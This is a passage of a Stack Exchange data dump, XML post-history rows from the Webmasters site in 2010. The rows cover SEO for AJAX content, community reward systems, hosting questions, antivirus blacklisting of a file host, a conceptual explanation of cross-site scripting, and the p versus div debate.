value=&quot;ro&quot;&gt;Romania&lt;/option&gt;&#xD;&#xA;         &lt;option value=&quot;ie&quot;&gt;Ireland&lt;/option&gt;&#xD;&#xA;         &lt;!-- and so on --&gt;&#xD;&#xA;    &lt;/select&gt;&#xD;&#xA;&#xD;&#xA;Still, If anybody has a better idea..." />
  <row Id="8580" PostHistoryTypeId="2" PostId="4336" RevisionGUID="68f192c5-1118-4dbc-8583-a25c6f2af2dc" CreationDate="2010-10-25T02:14:44.543" UserId="2336" Text="wondering if search engine crawlers see pages with links to ajax calls (using jQuery + Asp.Net MVC)  if they follow these links to index the content.&#xD;&#xA;&#xD;&#xA;I found [this][1] question, but I am wondering currently does the 'follow' work with standard jQuery type links on say click events.&#xD;&#xA;&#xD;&#xA;Should the website put ajax content in a static and perhaps point to that page from a sitemap? This would be a non ajax page.&#xD;&#xA;&#xD;&#xA;Just trying to get the most content indexed that I get to improve my organic seo.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/1991/status-of-crawlable-ajax" />
  <row Id="8581" PostHistoryTypeId="1" PostId="4336" RevisionGUID="68f192c5-1118-4dbc-8583-a25c6f2af2dc" CreationDate="2010-10-25T02:14:44.543" UserId="2336" Text="Search Engine Crawler call ajax to crawl ajax returned content?" />
  <row Id="8582" PostHistoryTypeId="3" PostId="4336" RevisionGUID="68f192c5-1118-4dbc-8583-a25c6f2af2dc" CreationDate="2010-10-25T02:14:44.543" UserId="2336" Text="&lt;seo&gt;&lt;ajax&gt;" />
  <row Id="8583" PostHistoryTypeId="2" PostId="4337" RevisionGUID="8a06cc73-8e52-4c48-b222-35102e7e5687" CreationDate="2010-10-23T03:06:13.493" UserDisplayName="killadonut" Text="This is not strictly programming related, so I apologize. But I think this fits within the scope of this site.&#xD;&#xA;&#xD;&#xA;We have a community site (part forum, part wiki, part knowledge base) where our users can participate in discussions, Q&amp;As, etc. One of the things I would like to do is have some type of reward system where users feel like they are gaining something by participating. And something that gives them the incentive to come back. &#xD;&#xA;&#xD;&#xA;Stack Overflow has reputation and badges. Digg, Propeller and Reddit have their own systems whether that be points, karma or whatever. I am thinking something that has some RPG style elements but I can't think of any good examples. &#xD;&#xA;&#xD;&#xA;Does SO have any ideas that could be useful in this scenario?" />
  <row Id="8584" PostHistoryTypeId="1" PostId="4337" RevisionGUID="8a06cc73-8e52-4c48-b222-35102e7e5687" CreationDate="2010-10-23T03:06:13.493" UserDisplayName="killadonut" Text="What are some methods to rewards users for participating on your site?" />
  <row Id="8585" PostHistoryTypeId="3" PostId="4337" RevisionGUID="8a06cc73-8e52-4c48-b222-35102e7e5687" CreationDate="2010-10-23T03:06:13.493" UserDisplayName="killadonut" Text="&lt;users&gt;&lt;suggestions&gt;" />
  <row Id="8586" PostHistoryTypeId="17" PostId="4337" RevisionGUID="ddfdda75-d90d-4ca0-a7c3-879cd1a72f77" CreationDate="2010-10-25T02:18:10.990" UserId="-1" Comment="from http://stackoverflow.com/questions/4002273/what-are-some-methods-to-rewards-users-for-participating-on-your-site" Text="" />
  <row Id="8587" PostHistoryTypeId="2" PostId="4338" RevisionGUID="24773b33-247c-48f0-a53f-e310d6e45fad" CreationDate="2010-10-25T02:42:43.407" UserId="1079" Text="[This article][1] will tell you what nameservers to use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://community.godaddy.com/help/article/664" />
  <row Id="8588" PostHistoryTypeId="2" PostId="4339" RevisionGUID="18fcdddf-fb81-4a22-96f6-784d769b515f" CreationDate="2010-10-25T02:50:23.940" UserId="2686" Text="&quot;Should the website put ajax content in a static and perhaps point to that page from a sitemap? This would be a non ajax page.&quot; I believe this is precisely the best thing to do and also what google recommends at the moment besides the standard sitemap implementations (a link can be found [here][1]). John also suggested this in one of the posts. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=174992" />
  <row Id="8589" PostHistoryTypeId="2" PostId="4340" RevisionGUID="68e0b336-c757-4cdd-ba7d-686f3fe8bf47" CreationDate="2010-10-25T03:03:18.553" UserId="2686" Text="It is for a skimlinks ad service they are running. Users who upgrade are redirected immediately. Check the following [discussion][1]. You will also find it in the source&#xD;&#xA; &#xD;&#xA;`&lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    var skimlinks_pub_id = &quot;725X1342&quot;;&#xD;&#xA;    var skimlinks_sitename = 'openunionism.wordpress.com';&#xD;&#xA;    var skimlinks_domain = &quot;go2.wordpress.com&quot;;&#xD;&#xA;    skimlinks();&#xD;&#xA;&lt;/script&gt;`&#xD;&#xA;&#xD;&#xA;Check [skimlinks][2] fore more info.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.forums.wordpress.com/topic/link-redirection-through-go2wordpresscom&#xD;&#xA;  [2]: http://www.skimlinks.com/" />
  <row Id="8590" PostHistoryTypeId="2" PostId="4341" RevisionGUID="4fc8f331-df67-4e0b-ba44-ec7ae637799d" CreationDate="2010-10-25T03:21:28.490" UserId="1253" Text="Ajax content is not currently crawlable ([but this may change][1]) so if you don't make that content available to non-JavaScript enabled users, which includes search engines, it won't be reachable and thus not indexed. &#xD;&#xA;&#xD;&#xA;This is a basic accessibility issue. If your content cannot be retrieved without JavaScript enabled then your site is not very accessible. Accessibility is a big part of SEO as search engines are very needy users accessibility-wise. Not mention you are leaving much of your content unavailable to users without JavaScript enabled or available to them. &#xD;&#xA;&#xD;&#xA;You should be using [progressive enhancement][2] when constructing your sites. First make it available to everybody and then go back and add enhancements that may not be available to some users but will enhance the experience of those who can experience it (i.e. JavaScript).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/10/proposal-for-making-ajax-crawlable.html&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Progressive_enhancement" />
  <row Id="8591" PostHistoryTypeId="2" PostId="4342" RevisionGUID="0ecd7c75-6820-44dd-85da-d9b2a379eb0d" CreationDate="2010-10-25T03:30:14.007" UserId="2686" Text="I would advise you to reserve a div/box for the country flag and set its visibility as hidden, thereby reserving its space. Offer the user a regular dropdown list and let the flag fade-in as they select the country (assuming they are filling out a regular form). The idea behind is that the user should never be offered the option of setting the flag as it is simply too confusing and overwhelming at first, both for that user, other users and yourself. &#xD;&#xA;&#xD;&#xA;The parsing of the text for the correct image can be done server side with a simple  script. &#xD;&#xA;&#xD;&#xA;The good thing is that with time, users will get used to seeing the flags and welcome them, possibly beginning to distinguish between the flags. There really isn't much to write in the way of scripts though, save for minor ones. That is my view." />
  <row Id="8592" PostHistoryTypeId="2" PostId="4343" RevisionGUID="5c75cb83-f11b-41c7-9553-863c9f277c9a" CreationDate="2010-10-25T03:33:05.607" UserId="903" Text="I've inherited a site with about 15,000 pages going back 16 years.  Often current events are outranked by previous events.  What are the best techniques to make sure that I'm not fighting against myself while still keeping old content (the long tail eh?) available to search engines?&#xD;&#xA;&#xD;&#xA;Currently 50% of the site or less is data driven." />
  <row Id="8593" PostHistoryTypeId="1" PostId="4343" RevisionGUID="5c75cb83-f11b-41c7-9553-863c9f277c9a" CreationDate="2010-10-25T03:33:05.607" UserId="903" Text="My archives are beating my current content, how do I stop from competing against myself?" />
  <row Id="8594" PostHistoryTypeId="3" PostId="4343" RevisionGUID="5c75cb83-f11b-41c7-9553-863c9f277c9a" CreationDate="2010-10-25T03:33:05.607" UserId="903" Text="&lt;search-engines&gt;&lt;sitemap&gt;&lt;indexing&gt;&lt;robots.txt&gt;" />
  <row Id="8595" PostHistoryTypeId="2" PostId="4344" RevisionGUID="5a49b9a1-b745-43a8-9b95-b3a9f7443047" CreationDate="2010-10-25T03:33:53.020" UserId="2707" Text="The first question I would ask is what is your site hosting? And is ESET flagging just that file or your entire site?&#xD;&#xA;&#xD;&#xA;And then I would say not to worry about it really. Unless Google blacklists your site, your in the clear. That said, if a desktop AV flags your site as malicious, how long until/if Google does?" />
  <row Id="8596" PostHistoryTypeId="2" PostId="4345" RevisionGUID="da93bda6-54ef-4ff0-ae78-bef2dc257030" CreationDate="2010-10-25T03:45:40.183" UserId="1064" Text="The rewards you offer will really depend upon your community - obviously, SE-type sites appeal to people who want to help others, whereas other communities will likely draw different audiences.&#xD;&#xA;&#xD;&#xA;The SE model of privilege restriction is tried and true: give new users only a small feature subset and grant access to additional features as the user develops a positive reputation.&#xD;&#xA;&#xD;&#xA;In various incarnations this may be as simple as allowing the user to link to outside sites (great way to prevent spam, too), use a custom avatar (not uncommon for forums), get access to private betas (popular with software companies' user communities), et cetera.&#xD;&#xA;&#xD;&#xA;Figure out why people are participating in your community first, whether conspicuous (i.e. avatars, titles, reputation ranking) or inconspicuous (i.e. private beta, VIP access to support) privileges matter more to them, then broadcast your program to ensure everyone in the user community is aware of it.&#xD;&#xA;&#xD;&#xA;Be prepared to adapt your program over time as your user community's wants and needs change and you're set." />
  <row Id="8597" PostHistoryTypeId="6" PostId="4343" RevisionGUID="754853cd-bfa5-4011-8970-f1ab77827335" CreationDate="2010-10-25T03:49:21.483" UserId="1253" Comment="Removed robots.txt tag since it does not apply to the question as asked" Text="&lt;search-engines&gt;&lt;sitemap&gt;&lt;indexing&gt;" />
  <row Id="8598" PostHistoryTypeId="2" PostId="4346" RevisionGUID="f65de57b-47d6-42a2-8d5c-d88caa8011ba" CreationDate="2010-10-25T03:54:07.813" UserId="138" Text="If, by your own admission, your users are uploading nasty files, then the anti-virus programs are doing their job and are will within their rights to block your site from their users computers, and I don't know if there's any way really around this." />
  <row Id="8599" PostHistoryTypeId="2" PostId="4347" RevisionGUID="80a6bef4-8038-4ec7-8156-8c79aa2086ea" CreationDate="2010-10-25T04:28:40.223" UserId="2087" Text="I only have purchased domains from GoDaddy because of their prices. This is my first year with any domain hosting, I'm still new to my domains. &#xD;&#xA;&#xD;&#xA;I got my first domain with eNom and their set up is extremely well done to edit DNS settings. I started using GoDaddy and for the first few days I wasn't able to get around with anything for example I couldn't edit the frame/redirect URLs and once I was able to, it took over a few hours to just take effect. And when I switched from my first domain's name to the one hosted with GoDaddy, my site started loading slower, it was less responsive and I've been having domain problems such as the page not being found and I can't get the server access to the site's back-end." />
  <row Id="8600" PostHistoryTypeId="2" PostId="4348" RevisionGUID="503278fd-f085-4e64-aac8-531e8dca6d5c" CreationDate="2010-10-25T04:32:51.137" UserId="2087" Text="I heard Amazon is going to offer a free trail of their hosting services soon with their EC2 tier. I'm a new web developer and I'm still learning a lot about hosting and server configuration so I'm looking at a lot of hosts.&#xD;&#xA;What are some main differences between EC2 and S3 services offered by Amazon?" />
  <row Id="8601" PostHistoryTypeId="1" PostId="4348" RevisionGUID="503278fd-f085-4e64-aac8-531e8dca6d5c" CreationDate="2010-10-25T04:32:51.137" UserId="2087" Text="What's the difference between Amazon's EC2 and S3 services?" />
  <row Id="8602" PostHistoryTypeId="3" PostId="4348" RevisionGUID="503278fd-f085-4e64-aac8-531e8dca6d5c" CreationDate="2010-10-25T04:32:51.137" UserId="2087" Text="&lt;amazon-s3&gt;" />
  <row Id="8603" PostHistoryTypeId="2" PostId="4349" RevisionGUID="2eb86f19-3c29-47c7-a970-99daa61c73d7" CreationDate="2010-10-25T04:59:53.263" UserId="1757" Text="EC2 = Elastic Cloud Computing&#xD;&#xA;&#xD;&#xA;S3 = Simple Storage Service&#xD;&#xA;&#xD;&#xA;One is for application hosting, one is for data storage." />
  <row Id="8604" PostHistoryTypeId="2" PostId="4350" RevisionGUID="720a8596-9ee0-4268-be96-aa4c1ceabf18" CreationDate="2010-10-25T07:25:53.317" UserId="89" Text="You can:&#xD;&#xA;&#xD;&#xA;1. Add a big link at the top of every old page linking to the corresponding current events page - this will let visitors easily find the current page and signal to search engines the new page is the important page.&#xD;&#xA;&#xD;&#xA;2. Submit an [XML sitemap](http://en.wikipedia.org/wiki/Site_map) to all the major search engines, sitemaps have a priority field that let you specify what are the important pages.&#xD;&#xA;&#xD;&#xA;3. Add `&lt;link rel=&quot;canonical&quot;&gt;`[(explanation of link rel canonical)](http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=139394) to the old pages to tell the search engines to go to the newer version.&#xD;&#xA;&#xD;&#xA;I would do at least the first 2 and wait for a few weeks to see it it helps." />
  <row Id="8605" PostHistoryTypeId="5" PostId="4350" RevisionGUID="87c4fc64-791d-45ca-a117-7da52dc3a756" CreationDate="2010-10-25T07:42:07.700" UserId="89" Comment="added 81 characters in body" Text="You can:&#xD;&#xA;&#xD;&#xA;1. Add a big link at the top of every old page linking to the corresponding current events page - this will let visitors easily find the current page and signal to search engines the new page is the important page.&#xD;&#xA;&#xD;&#xA;2. Submit an [XML sitemap](http://en.wikipedia.org/wiki/Site_map) to all the major search engines, sitemaps have a priority field that let you specify what are the important pages.&#xD;&#xA;&#xD;&#xA;3. Add `&lt;link rel=&quot;canonical&quot;&gt;`[(explanation of link rel canonical)](http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=139394) to the old pages to tell the search engines to go to the newer version (use with care, this is not the purpose of canonical so it may have side effects)&#xD;&#xA;&#xD;&#xA;I would do at least the first 2 and wait for a few weeks to see it it helps." />
  <row Id="8607" PostHistoryTypeId="2" PostId="4352" RevisionGUID="b8df17be-c04d-4cb7-828b-a1f83fe3dfb1" CreationDate="2010-10-25T09:10:37.860" UserId="1261" Text="How would you explain cross-site scripting vulnerability to a non-programmer (common web user)?" />
  <row Id="8608" PostHistoryTypeId="1" PostId="4352" RevisionGUID="b8df17be-c04d-4cb7-828b-a1f83fe3dfb1" CreationDate="2010-10-25T09:10:37.860" UserId="1261" Text="How to explain XSS to common web owner/user?" />
  <row Id="8609" PostHistoryTypeId="3" PostId="4352" RevisionGUID="b8df17be-c04d-4cb7-828b-a1f83fe3dfb1" CreationDate="2010-10-25T09:10:37.860" UserId="1261" Text="&lt;xss&gt;" />
  <row Id="8613" PostHistoryTypeId="2" PostId="4354" RevisionGUID="71034feb-3854-40f3-a204-209c417e6a26" CreationDate="2010-10-25T09:52:30.990" UserId="1757" Text="I don't think the average user is capable of understanding XSS. But the easiest way to put it is that it's a type of code-injection vulnerability caused by sites not sanitizing input from users and thus allowing malicious client-side code to be injected onto the site.&#xD;&#xA;&#xD;&#xA;You might offer an example like:&#xD;&#xA;&#xD;&#xA; 1. J-Mart's Online Store allows users to post reviews.&#xD;&#xA; 2. The user reviews are not properly sanitized, so JavaScript code can be embedded in the review.&#xD;&#xA; 3. A J-Mart admin comes along and logs into the store's admin panel.&#xD;&#xA; 4. He then takes a look at a user review with the malicious code embedded in an image tag.&#xD;&#xA; 5. His browser loads the page and tries to the download the image by evaluating the JavaScript in the `img` tag's `src` attribute.&#xD;&#xA; 6. The JavaScript makes an AJAX request that adds a dummy administrator account to the J-Mart store.&#xD;&#xA; 7. Because the J-Mart admin was logged in, this request succeeds, and now the attacker has administrative access to the J-Mart store." />
  <row Id="8614" PostHistoryTypeId="2" PostId="4355" RevisionGUID="aa237710-bb13-4af5-b8b8-57b723bc75bd" CreationDate="2010-10-25T10:22:18.807" UserId="1064" Text="In simple terms:&#xD;&#xA;&#xD;&#xA;Unless you install a Javascript blocker or disable Javascript, your web browser will automatically trust the code on webpages you visit to access information that you have saved on those sites and see the things you do on those sites.&#xD;&#xA;&#xD;&#xA;Information that can be saved includes your username and password for the site or anything you type or do while you're on that site.&#xD;&#xA;&#xD;&#xA;Cross-site scripting vulnerabilities occur when a site has code on it that was placed there by someone other than the person or company who owns the site.&#xD;&#xA;&#xD;&#xA;Because your web browser will automatically trust the code it finds on the site, whoever placed the code there will be able to see the things you do on that site and maybe even trick your browser into doing things on that site that you don't want to do." />
  <row Id="8615" PostHistoryTypeId="2" PostId="4356" RevisionGUID="92f6ad86-971f-49b9-8031-3ab28ba4d8fe" CreationDate="2010-10-25T10:26:59.313" UserId="2279" Text="I recently had a debate with a colleague who claimed that a `&lt;div&gt;` tag should be used over a `&lt;p&gt;` tag when formatting paragraphs.&#xD;&#xA;&#xD;&#xA;The case against the use of `&lt;p&gt;` is that is produces irregular spacing across browsers and it is likely to become obsolete like the `&lt;b&gt;` tag.&#xD;&#xA;&#xD;&#xA;Is this opinion of the `&lt;p&gt;` tag shared by the community?" />
  <row Id="8616" PostHistoryTypeId="1" PostId="4356" RevisionGUID="92f6ad86-971f-49b9-8031-3ab28ba4d8fe" CreationDate="2010-10-25T10:26:59.313" UserId="2279" Text="To &lt;p&gt; or not to &lt;p&gt;?" />
  <row Id="8617" PostHistoryTypeId="3" PostId="4356" RevisionGUID="92f6ad86-971f-49b9-8031-3ab28ba4d8fe" CreationDate="2010-10-25T10:26:59.313" UserId="2279" Text="&lt;html&gt;" />
  <row Id="8618" PostHistoryTypeId="2" PostId="4357" RevisionGUID="0ed39d14-0002-4a39-ad3a-c71a7f0e9dc4" CreationDate="2010-10-25T10:28:39.703" UserId="1828" Text="I had a site that ranked top 3 for one keyword term and top 6 for another.&#xD;&#xA;&#xD;&#xA;At the beginning of October both terms dropped radically from the search results.&#xD;&#xA;&#xD;&#xA;I had recently changed the .htaccess file to stop redirecting 404 back to the home page which resulted in some old links becoming crawl errors.&#xD;&#xA;&#xD;&#xA;Also a lot of pages have had tweaked names over time but because of the redirect back to the homepage these where not getting discovered by google&#xD;&#xA;&#xD;&#xA;Also I noticed that the keywords that had dropped out the rankings did not appear in the internal links in webmaster tools.&#xD;&#xA;&#xD;&#xA;I have fixed the crawl errors and the redirects I am awaiting for google to clear errors and start indexing the correct pages but I am worried that there is more of a problem for the keywords ranking than the pages errors.&#xD;&#xA;&#xD;&#xA;Is there any way of determining if the site has been punished for certain the keywords?" />
  <row Id="8619" PostHistoryTypeId="1" PostId="4357" RevisionGUID="0ed39d14-0002-4a39-ad3a-c71a7f0e9dc4" CreationDate="2010-10-25T10:28:39.703" UserId="1828" Text="How to determine if site has been punished by Google" />
  <row Id="8620" PostHistoryTypeId="3" PostId="4357" RevisionGUID="0ed39d14-0002-4a39-ad3a-c71a7f0e9dc4" CreationDate="2010-10-25T10:28:39.703" UserId="1828" Text="&lt;google-webmaster-tools&gt;&lt;htaccess&gt;&lt;site-ranking&gt;&lt;404&gt;&lt;301&gt;" />
  <row Id="8621" PostHistoryTypeId="2" PostId="4358" RevisionGUID="8cd91eac-1cba-4d2f-9a07-e52a33c2877d" CreationDate="2010-10-25T10:57:58.073" UserId="1757" Text="`div`s and `p`s are for completely different purposes. `p` is for paragraphs, `div` is for sectional divisions. One is for text formatting, the other is for page structure. It is semantically incorrect to use `div` in place of `p`.&#xD;&#xA;&#xD;&#xA;And the reason the use of `b` is discouraged is because it's a presentation tag. It has no semantic meaning. Both `p` and `div` have their own unique semantic meanings. `p` will never be obsolete as long as people still format text into paragraphs.&#xD;&#xA;&#xD;&#xA;Your colleague doesn't appear to be familiar with the principle of [separation of content and presentation][1]. Otherwise, he would know why `b` is abhorred and that presentation issues like text spacing ought to be defined in CSS, not your HTML.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Separation_of_content_and_presentation" />
  <row Id="8622" PostHistoryTypeId="2" PostId="4359" RevisionGUID="c202cda4-1141-4a4d-8285-d97c8291fde7" CreationDate="2010-10-25T11:33:22.667" UserId="1064" Text="[Google Webmaster Tools][1] is the first place to look - you can see which pages Googlebot expects to see which are now throwing a 404 error.&#xD;&#xA;&#xD;&#xA;I wouldn't say that your site is being *punished* - that would imply that there is an intent behind the change in your rankings; it's really just a matter of showing Googlebot that the links to your bygone content are still relevant to your site.&#xD;&#xA;&#xD;&#xA;If possible, I would use 301 redirects to push rank from the content which is no longer there to existing content which has similar relevance (or just back to the homepage) and set up a sitemap to ensure that all valid pages are enumerated for indexing.&#xD;&#xA;&#xD;&#xA;This might also be a good time to work at building some new links to your site, as well - couldn't hurt and it may help to get Googlebot through your site sooner (depending upon your present indexing priority).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools/" />
  <row Id="8623" PostHistoryTypeId="2" PostId="4360" RevisionGUID="ee7d3328-4726-44d3-b4a5-52ac7e15e1c0" CreationDate="2010-10-25T12:05:47.133" UserId="2712" Text="`&lt;p&gt;` and `&lt;div&gt;` are not meant for the same purpose, as they have a different semantical meaning:&#xD;&#xA;&#xD;&#xA; - `&lt;p&gt;` is for paragraph,&#xD;&#xA; - `&lt;div&gt;` is to &quot;offer a generic&#xD;&#xA;   mechanism for adding structure to&#xD;&#xA;   documents&quot;, as stated in the [div&#xD;&#xA;   HTML spec from W3C][2]&#xD;&#xA;&#xD;&#xA;`&lt;p&gt;` may not be deprecated in the future as it still is present in XHTML and HTML 5.&#xD;&#xA;&#xD;&#xA;Both tags have different graphical rendering. A `&lt;p&gt;` has a top and a bottom margin of 1em, whereas a `&lt;div&gt;` has no margin at all. But this point is secondary as it may be overridden by CSS.&#xD;&#xA;&#xD;&#xA;Also, note this difference: while both tags are of type &quot;block&quot;, only `&lt;div&gt;` can contain other block elements. Thus: &#xD;&#xA;&#xD;&#xA;  - `&lt;p&gt;&lt;p&gt; bla &lt;/p&gt;&lt;/p&gt;` is wrong, while&#xD;&#xA;  - `&lt;div&gt;&lt;div&gt; bla &lt;/div&gt;&lt;/div&gt;` is ok&#xD;&#xA;&#xD;&#xA;The important point to remember is both are valid and used tags, but not for the same purpose.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [2]: http://www.w3.org/TR/html401/struct/global.html#edef-DIV" />
  <row Id="8624" PostHistoryTypeId="2" PostId="4362" RevisionGUID="c0da5342-b7bf-4286-8794-09d37e7df723" CreationDate="2010-10-21T15:59:28.227" UserDisplayName="InnateDev" Text="Anyone using the wp search mu plugin will have the same problem - this info is really useful if one is looking for it. wp search mu has a bug: when searching the media library on post/pages OR the media library itself, the plugin returns post_type: post as media and not only post_type: attachment. solution: disable the plugin and try some other search plugin" />
  <row Id="8625" PostHistoryTypeId="2" PostId="4361" RevisionGUID="fb466525-3e7c-44f2-bcf0-3f806352f454" CreationDate="2010-06-22T13:37:42.527" UserDisplayName="InnateDev" Text="when searching from the media library I am seeing posts and when clicking on them to edit the edit post window opens and not the media edit window. could anyone shed some light on this?" />
  <row Id="8626" PostHistoryTypeId="1" PostId="4361" RevisionGUID="fb466525-3e7c-44f2-bcf0-3f806352f454" CreationDate="2010-06-22T13:37:42.527" UserDisplayName="InnateDev" Text="posts appearing in wordpress media library" />
  <row Id="8627" PostHistoryTypeId="3" PostId="4361" RevisionGUID="fb466525-3e7c-44f2-bcf0-3f806352f454" CreationDate="2010-06-22T13:37:42.527" UserDisplayName="InnateDev" Text="&lt;wordpress&gt;&lt;search&gt;&lt;media&gt;" />
  <row Id="8628" PostHistoryTypeId="17" PostId="4361" RevisionGUID="c0b9d996-4d15-4d18-965e-184d4bcdbdab" CreationDate="2010-10-25T12:08:29.793" UserId="-1" Comment="from http://stackoverflow.com/questions/3093611/posts-appearing-in-wordpress-media-library" Text="" />
  <row Id="8629" PostHistoryTypeId="5" PostId="4311" RevisionGUID="19a46e6d-e689-41b5-8aa3-2050427bf819" CreationDate="2010-10-25T12:10:43.353" UserId="2690" Comment="added 159 characters in body" Text="I operate a file hosting site, and recently I've found that some antivirus software have flagged it as malicious due to a few nasty files people have uploaded.&#xD;&#xA;&#xD;&#xA;Obviously I don't want my site to be flagged as malicious, as at the moment people are complaining that their AVs are completely blocking my site.&#xD;&#xA;&#xD;&#xA;I've set a robots.txt file to block crawlers from the /file/ directory, and I've sent an email to ESET (the vendor of one particular antivirus that's flagged my site.&#xD;&#xA;&#xD;&#xA;I've also implemented a VirusTotal check on upload of any .exe, .dll or .com files.&#xD;&#xA;&#xD;&#xA;What further steps should I follow to get my site removed from any AV blacklists that it is currently on?&#xD;&#xA;&#xD;&#xA;&lt;b&gt;Edit:&lt;/b&gt; I've contacted ESET and they'll be removing my site from their blacklist. My question still stands, but from more of a mitigation perspective." />
  <row Id="8630" PostHistoryTypeId="5" PostId="4356" RevisionGUID="1b8a29f8-b514-4e8c-afa9-f277d4738019" CreationDate="2010-10-25T12:15:23.967" UserId="2279" Comment="spelling" Text="I recently had a debate with a colleague who claimed that a `&lt;div&gt;` tag should be used over a `&lt;p&gt;` tag when formatting paragraphs.&#xD;&#xA;&#xD;&#xA;The case against the use of `&lt;p&gt;` is that it produces irregular spacing across browsers and it is likely to become obsolete like the `&lt;b&gt;` tag.&#xD;&#xA;&#xD;&#xA;Is this opinion of the `&lt;p&gt;` tag shared by the community?" />
  <row Id="8631" PostHistoryTypeId="2" PostId="4363" RevisionGUID="aa07f275-7cdc-40f2-b657-82aea01ad731" CreationDate="2010-10-25T12:21:59.483" UserId="1253" Text="Google only punishes a site if it is caught trying to manipulate the SERPs. If you saw a drop in your rankings immediately after making some big changes then the odds are those changes have played a role in the change in rankings you saw. The first thing you should do is undo the changes you have made if possible. If your ranking return you can start making changes again but do them one at a time so you can see what affect they have on your rankings. That will help you identify which change is affecting you the most." />
  <row Id="8632" PostHistoryTypeId="2" PostId="4364" RevisionGUID="f6af46a5-dac2-4301-87fa-9f0d3273135c" CreationDate="2010-10-25T12:25:59.283" UserId="1588" Text="If viewing the same page in the same browser, but that page is hosted in two different places (in our case, locally v. over the internet) what kinds of things can cause it to display differently?&#xD;&#xA;&#xD;&#xA;Assume that there is no server side processing, just HTML, CSS &amp; Javascript.&#xD;&#xA;&#xD;&#xA;Also assume, yes, we're definitely looking at the same page.&#xD;&#xA;" />
  <row Id="8633" PostHistoryTypeId="1" PostId="4364" RevisionGUID="f6af46a5-dac2-4301-87fa-9f0d3273135c" CreationDate="2010-10-25T12:25:59.283" UserId="1588" Text="What possible causes are there for a page to display differently if hosted in two different places?" />
  <row Id="8634" PostHistoryTypeId="3" PostId="4364" RevisionGUID="f6af46a5-dac2-4301-87fa-9f0d3273135c" CreationDate="2010-10-25T12:25:59.283" UserId="1588" Text="&lt;html&gt;&lt;web-hosting&gt;" />
  <row Id="8638" PostHistoryTypeId="2" PostId="4366" RevisionGUID="82a1baab-84f7-45b0-9626-9f8206baff13" CreationDate="2010-10-25T12:53:40.260" UserId="2713" Text="without knowing anything more, I would say, you have a similar problem as [described here][1].&#xD;&#xA;The main idea behind this bug is, if you modify some DIV or other kind of HTML-tags, before they are closed, IE says 'Operation cancelled...' and will not load the page.&#xD;&#xA;&#xD;&#xA;I would suggest that you disable JavaScript for testing. If IE doesn't crash, you can be sure, that you are having problems with your scripts.&#xD;&#xA;&#xD;&#xA;  [1]: http://support.microsoft.com/kb/927917" />
  <row Id="8639" PostHistoryTypeId="5" PostId="4366" RevisionGUID="63d685f6-2015-40cf-9861-17ea3c299f49" CreationDate="2010-10-25T12:58:59.403" UserId="2713" Comment="added 16 characters in body; added 16 characters in body" Text="without knowing anything more about your site, I would say, you have a similar problem as [described here][1].&#xD;&#xA;The main idea behind this bug is, if you modify some DIV or other kind of HTML-tags with JavaScript, before they are closed, IE says 'Operation cancelled...' and will not load the page.&#xD;&#xA;&#xD;&#xA;I would suggest that you disable JavaScript for testing. If IE doesn't crash, you can be sure, that you are having problems with your scripts.&#xD;&#xA;&#xD;&#xA;  [1]: http://support.microsoft.com/kb/927917" />
  <row Id="8640" PostHistoryTypeId="2" PostId="4368" RevisionGUID="0ecbc734-1b02-43fb-8455-b3bbbf7675c6" CreationDate="2010-10-25T12:44:27.897" UserDisplayName="aking1012" Text="securitytube got some following by offering initial content - videos - then adding a Q&amp;A section.  imho content is king.  don't start a &quot;discussion site&quot; without many articles/blogs to comment on.  you can try and crowdsource the initial content by dropping in embeds for national/local news stories and commenting on the or offering rebuttals." />
  <row Id="8641" PostHistoryTypeId="2" PostId="4367" RevisionGUID="18d26834-6f39-4b75-b9ec-342cc4f3351c" CreationDate="2010-10-25T12:37:06.323" UserId="2714" Text="How to WEB 2.0 sites get first few members, like a new site comes up for &quot;discussing books&quot; or &quot;renting apartments&quot; or any thing for that matter.&#xD;&#xA;So if some marketing is able to pull in some visitors, all first few visitors will see blank data bases no existing info offered. wont they carry a bad name and never come back again ... ??" />
  <row Id="8642" PostHistoryTypeId="1" PostId="4367" RevisionGUID="18d26834-6f39-4b75-b9ec-342cc4f3351c" CreationDate="2010-10-25T12:37:06.323" UserId="2714" Text="How to WEB 2.0 sites get first few members ?" />
  <row Id="8643" PostHistoryTypeId="3" PostId="4367" RevisionGUID="18d26834-6f39-4b75-b9ec-342cc4f3351c" CreationDate="2010-10-25T12:37:06.323" UserId="2714" Text="&lt;web-development&gt;&lt;web-services&gt;&lt;web-applications&gt;&lt;websites&gt;" />
  <row Id="8644" PostHistoryTypeId="17" PostId="4367" RevisionGUID="4c13314b-e2a6-4a56-9326-5724bbdb3240" CreationDate="2010-10-25T13:00:58.247" UserId="-1" Comment="from http://stackoverflow.com/questions/4014583/how-to-web-2-0-sites-get-first-few-members" Text="" />
  <row Id="8645" PostHistoryTypeId="2" PostId="4369" RevisionGUID="5616ead5-743a-46fa-beb2-6931aa8d3c4b" CreationDate="2010-10-25T13:09:42.483" UserId="2185" Text="I want a list of my site pages which has been viewed in any country.&#xD;&#xA;I could not find such option in analytics.&#xD;&#xA;How to do that.&#xD;&#xA;So that i can know the people who view certain pages.&#xD;&#xA;so that i can display content according to that." />
  <row Id="8646" PostHistoryTypeId="1" PostId="4369" RevisionGUID="5616ead5-743a-46fa-beb2-6931aa8d3c4b" CreationDate="2010-10-25T13:09:42.483" UserId="2185" Text="google analytics - how to see the name of the pages which has been viewed by certain countries" />
  <row Id="8647" PostHistoryTypeId="3" PostId="4369" RevisionGUID="5616ead5-743a-46fa-beb2-6931aa8d3c4b" CreationDate="2010-10-25T13:09:42.483" UserId="2185" Text="&lt;google-analytics&gt;" />
